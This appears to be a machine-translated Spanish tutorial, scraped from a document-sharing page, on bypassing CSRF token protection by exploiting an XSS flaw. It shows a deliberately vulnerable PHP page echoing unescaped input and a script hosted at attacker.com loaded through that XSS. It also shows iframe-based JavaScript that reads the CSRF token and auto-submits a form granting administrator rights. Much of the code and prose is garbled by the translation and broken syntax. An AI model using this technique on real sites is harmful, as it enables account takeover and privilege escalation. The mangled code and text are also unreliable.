Está en la página 1de 3

Evadir la proteccin CSRF utilizando XSS

En este artculo voy a discutir la manera de evadir la proteccin CSRF explotar la vulnerabilidad XSS. Encontr esta tcnica muy til para aquellos aplicaciones web que tienen suficiente proteccin CSRF para todas las pginas pertinentes, pero al mismo tiempo, tambin tienen algunas pginas susceptible a XSS. Utilizando XSS que nos puede pasar por alto la proteccin CSRF y podemos automatizar cualquier accin que cualquiera puede hacer en la aplicacin sin problemas. Por ejemplo, supongamos que un sitio web tiene una pequea aplicacin en la pgina principal que existe una vulnerabilidad XSS, y un foro sobre / foro que no es vulnerable a CSRF. Vamos a ver cmo podemos usar esa XSS para evitar la proteccin CSRF del foro. Hay muchos mtodos para evitar CSRF, pero el ms utilizado es el de los campos de las fichas y oculto. ("/>) Que son verificadas antes de la accin se ejecuta. Vamos a tratar de pasar este tipo de proteccin, de modo que tenemos tiempo para hacer lo que realmente queremos. Vamos a empezar con la idea de base, cmo pasar CSRF proteccin, porque no sabemos la razn. La solucin es, podemos hacer esto muy fcilmente usando JavaScript. Tomemos un ejemplo, la adicin de un nuevo administrador en funcin del nombre del usuario que se convertir en administrador. Esto suceder en la carpeta / admin que no es vulnerable a CSRF: ? / Admin / admin.PHP Action = add_admin (por ejemplo ..): Nombre: "/> Pues bien, este script agrega un administrador. Cuando se pulsa el botn del administrador principal ser realizar una solicitud, tales como: http://www.site.com/add_admin.php?name=Nytro&token=1htFI0iA9s&submit Al verificar, el token de la sesin ser el mismo con el envo del formulario, y nitro ser un administrador. session_start (); if (isset ($ _GET ['submit']))

{ if ($ _SESSION ['token'] == $ _GET ['token']) { / / We_make_nytro_admin (); print 'Nytro es ahora un administrador.'; Print} Else 'token vlido _ | _:)'; }?> Ahora vamos a ver qu podemos hacer para obtener esa seal. Voy a utilizar como un mtodo de la funcin GET, en los ejemplos, con el fin de ser ms fcil de entender, pero que podra aplicarse tambin a la funcin POST para datos que se envan. Tendremos en cuenta en la pgina principal (index.php), la aplicacin vulnerable que contiene el siguiente cdigo: index.php: if (isset ($ _GET ['name'])) { print'Hello ". $ _GET ['name']; }?> Para simplificar las cosas, no vamos a escribir nuestro cdigo javascript directamente en la solicitud, en lugar de eso voy a escribir en a. Js que vamos a considerar en la subida: http://www.attacker.com/script.js En la solicitud de que se utilice: http://www.site_vulnerabil.com/index.php?nume = As que vamos a ver cmo podemos saber el token usando javascript. Muy fcil! Vamos a utilizar un simple '); functionread () { varname = 'Nytro; document.getElementById ("iframe") contentDocument.forms [0] = name.value nombre..;

/ / Escribe el nombre de document.getElementById ("iframe"). contentDocument.forms [0]. submit.click ();// Presione click }

También podría gustarte